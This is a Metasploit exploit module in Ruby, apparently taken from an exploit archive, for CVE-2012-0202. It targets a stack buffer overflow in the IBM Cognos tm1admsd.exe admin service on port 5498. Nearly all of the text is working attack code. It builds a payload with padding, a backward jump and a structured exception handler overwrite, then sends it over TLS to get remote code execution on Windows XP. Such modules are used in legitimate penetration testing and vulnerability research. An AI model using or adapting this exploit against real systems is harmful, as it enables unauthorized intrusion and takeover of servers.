IBM Cognos – ‘tm1admsd.exe’ Remote Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'IBM Cognos tm1admsd.exe Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in IBM Cognos Analytic Server Admin service. The vulnerability exists in the tm1admsd.exe component, due to a dangerous copy of user controlled data to the stack, via memcpy, without validating the supplied length and data. The module has been tested successfully on IBM Cognos Express 9.5 over Windows XP SP3. }, 'Author' => [ 'Unknown', # Original discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2012-0202'], ['OSVDB', '80876'], ['BID', '52847'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-101/'], ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21590314'] ], 'Privileged' => true, 'DefaultOptions' => { 'SSL' => true, 'SSLVersion' => 'TLS1' }, 'Payload' => { 'Space' => 10359, 'DisableNops' => true }, 'Platform' => 'win', 'DefaultTarget' => 0, 'Targets' => [ # tm1admsd.exe 9.5.10009.10070 # ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates [ 'IBM Cognos Express 9.5 / Windows XP SP3', { 'Ret' => 0x00280b0b, 'Offset' => 10359 } ] ], 'DisclosureDate' => 'Apr 02 2012')) register_options([Opt::RPORT(5498)], self.class) end def exploit sploit = payload.encoded sploit << rand_text(target['Offset'] - sploit.length) sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']}").encode_string sploit << "\xEB\xF9" + rand_text(2) # jmp $-5 sploit << [target.ret].pack("V") # seh sploit << rand_text(2000) # Trigger exception data = rand_text(4) data << "\x00\x08" # Opcode data << [sploit.length].pack("n") # Length data << sploit # Value length = [data.length + 2].pack("n") req = length req << data connect sock.put(req) disconnect end end |